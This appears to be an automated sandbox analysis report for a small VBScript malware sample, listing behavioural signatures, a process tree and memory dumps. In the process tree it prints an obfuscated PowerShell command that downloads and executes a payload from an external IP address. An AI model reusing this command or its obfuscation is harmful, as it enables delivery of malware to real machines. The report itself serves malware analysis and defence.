Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
22/09/2026, 10:57
General
- Target jaffacakes118_b2de04eecd3ce294a39f822a849f4f545e66c1b7858124993d5774ba4c074381.vbs
- Size 517B
- Sample260922-m19jaacf37
- SHA256 b2de04eecd3ce294a39f822a849f4f545e66c1b7858124993d5774ba4c074381
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_b2de04eecd3ce294a39f822a849f4f545e66c1b7858124993d5774ba4c074381.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='-@-@-@-$-%^(''http://185.241.208.42:222/xxx.jpg'')'.RePLACe('-@-@-@-$-%^','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3292-0-0x00007FFCF2ECF000-0x00007FFCF2ED0000-memory.dmp
memory/3292-4-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-3-0x000002C4EB050000-0x000002C4EB072000-memory.dmp
memory/3292-5-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-6-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-7-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-8-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-9-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-10-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-11-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-12-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-14-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp
memory/3292-16-0x00007FFCF2D40000-0x00007FFCF36E4000-memory.dmp